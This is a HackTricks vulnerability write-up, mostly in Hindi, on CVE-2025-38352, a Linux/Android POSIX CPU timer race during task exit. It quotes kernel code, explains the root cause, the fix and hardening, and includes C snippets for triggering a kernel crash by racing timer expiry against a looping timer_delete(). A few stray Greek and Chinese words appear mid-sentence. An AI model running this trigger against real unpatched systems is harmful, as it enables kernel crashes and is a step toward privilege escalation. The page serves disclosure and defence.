POSIX CPU Timers TOCTOU race (CVE-2025-38352)
Reading time: 9 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:
HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
यह पृष्ठ Linux/Android POSIX CPU timers में एक TOCTOU race शर्त का दस्तावेज़ है जो timer state को corrupt कर सकता है और kernel को crash कर सकता है, और कुछ परिस्थितियों में इसे privilege escalation की ओर मोड़ा जा सकता है।
- प्रभावित घटक: kernel/time/posix-cpu-timers.c
- Primitive: expiry vs deletion race task exit के दौरान
- कॉन्फ़िग संवेदनशील: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
त्वरित आंतरिक सारांश (exploitation के लिए प्रासंगिक)
- तीन CPU clocks cpu_clock_sample() के माध्यम से timers के अकाउंटिंग को चलाते हैं:
- CPUCLOCK_PROF: utime + stime
- CPUCLOCK_VIRT: utime only
- CPUCLOCK_SCHED: task_sched_runtime()
- Timer बनाने पर एक timer को task/pid से जोड़ा जाता है और timerqueue nodes को initialize किया जाता है:
static int posix_cpu_timer_create(struct k_itimer *new_timer) {
struct pid *pid;
rcu_read_lock();
pid = pid_for_clock(new_timer->it_clock, false);
if (!pid) { rcu_read_unlock(); return -EINVAL; }
new_timer->kclock = &clock_posix_cpu;
timerqueue_init(&new_timer->it.cpu.node);
new_timer->it.cpu.pid = get_pid(pid);
rcu_read_unlock();
return 0;
}
- Arming per-base timerqueue में insert करता है और next-expiry cache को अपडेट कर सकता है:
static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
struct posix_cputimer_base *base = timer_base(timer, p);
struct cpu_timer *ctmr = &timer->it.cpu;
u64 newexp = cpu_timer_getexpires(ctmr);
if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
if (newexp < base->nextevt) base->nextevt = newexp;
}
- Fast path महंगी प्रोसेसिंग से बचता है जब तक cached expiries संभावित firing का संकेत न दें:
static inline bool fastpath_timer_check(struct task_struct *tsk) {
struct posix_cputimers *pct = &tsk->posix_cputimers;
if (!expiry_cache_is_inactive(pct)) {
u64 samples[CPUCLOCK_MAX];
task_sample_cputime(tsk, samples);
if (task_cputimers_expired(samples, pct))
return true;
}
return false;
}
- समाप्ति समाप्त हो चुके टाइमरों को एकत्र करती है, उन्हें सक्रिय के रूप में चिह्नित करती है, उन्हें कतार से हटा देती है; वास्तविक वितरण स्थगित किया जाता है:
#define MAX_COLLECTED 20
static u64 collect_timerqueue(struct timerqueue_head *head,
struct list_head *firing, u64 now) {
struct timerqueue_node *next; int i = 0;
while ((next = timerqueue_getnext(head))) {
struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
u64 expires = cpu_timer_getexpires(ctmr);
if (++i == MAX_COLLECTED || now < expires) return expires;
ctmr->firing = 1; // critical state
rcu_assign_pointer(ctmr->handling, current);
cpu_timer_dequeue(ctmr);
list_add_tail(&ctmr->elist, firing);
}
return U64_MAX;
}
दो समाप्ति-प्रोसेसिंग मोड
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: समाप्ति लक्षित task पर task_work के माध्यम से स्थगित की जाती है
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: समाप्ति सीधे IRQ संदर्भ में संभाली जाती है
void run_posix_cpu_timers(void) {
struct task_struct *tsk = current;
__run_posix_cpu_timers(tsk);
}
#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return;
tsk->posix_cputimers_work.scheduled = true;
task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME);
}
#else
static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
lockdep_posixtimer_enter();
handle_posix_cpu_timers(tsk); // IRQ-context path
lockdep_posixtimer_exit();
}
#endif
IRQ-context पथ में, firing list को sighand के बाहर प्रोसेस किया जाता है।
static void handle_posix_cpu_timers(struct task_struct *tsk) {
struct k_itimer *timer, *next; unsigned long flags, start;
LIST_HEAD(firing);
if (!lock_task_sighand(tsk, &flags)) return; // may fail on exit
do {
start = READ_ONCE(jiffies); barrier();
check_thread_timers(tsk, &firing);
check_process_timers(tsk, &firing);
} while (!posix_cpu_timers_enable_work(tsk, start));
unlock_task_sighand(tsk, &flags); // race window opens here
list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
int cpu_firing;
spin_lock(&timer->it_lock);
list_del_init(&timer->it.cpu.elist);
cpu_firing = timer->it.cpu.firing; // read then reset
timer->it.cpu.firing = 0;
if (likely(cpu_firing >= 0)) cpu_timer_fire(timer);
rcu_assign_pointer(timer->it.cpu.handling, NULL);
spin_unlock(&timer->it_lock);
}
}
मूल कारण: TOCTOU between IRQ-time expiry and concurrent deletion under task exit
पूर्व शर्तें
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use)
- लक्षित task exit कर रहा है लेकिन पूरी तरह से reaped नहीं हुआ है
- एक अन्य थ्रेड एक साथ posix_cpu_timer_del() को उसी timer के लिए कॉल करता है
क्रम
- update_process_times() exiting task के लिए IRQ context में run_posix_cpu_timers() को ट्रिगर करता है।
- collect_timerqueue() ctmr->firing = 1 सेट करता है और timer को अस्थायी firing सूची में स्थानांतरित कर देता है।
- handle_posix_cpu_timers() timers को lock के बाहर deliver करने के लिए unlock_task_sighand() के माध्यम से sighand को drop कर देता है।
- unlock के तुरंत बाद, exiting task reaped हो सकता है; एक sibling thread posix_cpu_timer_del() execute करता है।
- इस विंडो में, posix_cpu_timer_del() cpu_timer_task_rcu()/lock_task_sighand() के माध्यम से state प्राप्त करने में विफल हो सकता है और इस प्रकार उस सामान्य in-flight guard को स्किप कर देता है जो timer->it.cpu.firing को चेक करता है। Deletion ऐसे चलता है मानो timer firing नहीं है, जिससे expiry के处理中 state corrupt हो जाती है और crashes/UB होते हैं।
क्यों TASK_WORK mode design के अनुसार सुरक्षित है
- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y होने पर, expiry task_work को defer किया जाता है; exit_task_work exit_notify से पहले चलता है, इसलिए IRQ-time का reaping के साथ overlap नहीं होता।
- इसके अलावा, यदि task पहले से exit कर रहा है, तो task_work_add() विफल हो जाता है; exit_state पर gating दोनों modes को consistent बनाता है।
Fix (Android common kernel) और तर्क
- यदि current task exiting है तो एक early return जोड़ें, जो सभी processing को gate करेगा:
// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
if (tsk->exit_state)
return;
- यह exiting tasks के लिए handle_posix_cpu_timers() में प्रवेश को रोकता है, उस विंडो को खत्म करता है जहाँ posix_cpu_timer_del() इसे it.cpu.firing को मिस कर सकता था और expiry processing के साथ race कर सकता था।
Impact
- कर्नेल की timer संरचनाओं में concurrent expiry/deletion के दौरान मेमोरी करप्शन तत्काल क्रैश (DoS) उत्पन्न कर सकता है और arbitrary kernel-state manipulation के अवसरों के कारण privilege escalation की दिशा में एक मजबूत primitive बनता है।
Triggering the bug (safe, reproducible conditions) Build/config
- सुनिश्चित करें CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n और ऐसा kernel उपयोग करें जिसमें exit_state gating fix न लगाया गया हो।
Runtime strategy
- उस थ्रेड को लक्षित करें जो exit होने वाला हो और उस पर CPU timer लगाएं (per-thread या process-wide clock):
- For per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
- For process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
- बहुत छोटा initial expiration और छोटा interval सेट करें ताकि IRQ-path entries अधिकतम हों:
static timer_t t;
static void setup_cpu_timer(void) {
struct sigevent sev = {0};
sev.sigev_notify = SIGEV_SIGNAL; // delivery type not critical for the race
sev.sigev_signo = SIGUSR1;
if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
struct itimerspec its = {0};
its.it_value.tv_nsec = 1; // fire ASAP
its.it_interval.tv_nsec = 1; // re-fire
if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
}
- एक sibling thread से, लक्ष्य thread के exit होते समय उसी timer को समकालिक रूप से delete करें:
void *deleter(void *arg) {
for (;;) (void)timer_delete(t); // hammer delete in a loop
}
- रेस को बढ़ाने वाले कारक: high scheduler tick rate, CPU load, repeated thread exit/re-create cycles. क्रैश आम तौर पर तब दिखता है जब posix_cpu_timer_del() firing नोटिस करना छोड़ देता है क्योंकि unlock_task_sighand() के ठीक बाद task lookup/locking विफल हो जाता है।
Detection and hardening
- Mitigation: exit_state guard εφαρμό करें; जब संभव हो तो CONFIG_POSIX_CPU_TIMERS_TASK_WORK को सक्षम करना प्राथमिकता दें।
- Observability: unlock_task_sighand()/posix_cpu_timer_del() के आसपास tracepoints/WARN_ONCE जोड़ें; जब it.cpu.firing==1 देखा जाए और साथ ही cpu_timer_task_rcu()/lock_task_sighand() विफल हों तो अलर्ट करें; task exit के आसपास timerqueue असंगतियों पर निगाह रखें।
Audit hotspots (for reviewers)
- update_process_times() → run_posix_cpu_timers() (IRQ)
- __run_posix_cpu_timers() चयन (TASK_WORK vs IRQ path)
- collect_timerqueue(): sets ctmr->firing और nodes को मूव करता है
- handle_posix_cpu_timers(): firing loop से पहले sighand को ड्रॉप करता है
- posix_cpu_timer_del(): इन-फ्लाइट expiry का पता लगाने के लिए it.cpu.firing पर निर्भर करता है; यह चेक तब स्किप हो जाता है जब exit/reap के दौरान task lookup/lock फेल हो जाता है
Notes for exploitation research
- The disclosed behavior is a reliable kernel crash primitive; इसे privilege escalation में बदलने के लिए आम तौर पर एक अतिरिक्त controllable overlap (object lifetime या write-what-where influence) की जरूरत होती है जो इस सारांश के दायरे से बाहर है। किसी भी PoC को संभावित रूप से destabilizing समझें और केवल emulators/VMs में चलाएं।
See also
Ksmbd Streams Xattr Oob Write Cve 2025 37947
References
- Race Against Time in the Kernel’s Clockwork (StreyPaws)
- Android security bulletin – September 2025
- Android common kernel patch commit 157f357d50b5…
tip
AWS हैकिंग सीखें और अभ्यास करें:
HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें:
HackTricks Training GCP Red Team Expert (GRTE)
Azure हैकिंग सीखें और अभ्यास करें:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाओं की जांच करें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमें Twitter 🐦 @hacktricks_live** पर फॉलो करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
HackTricks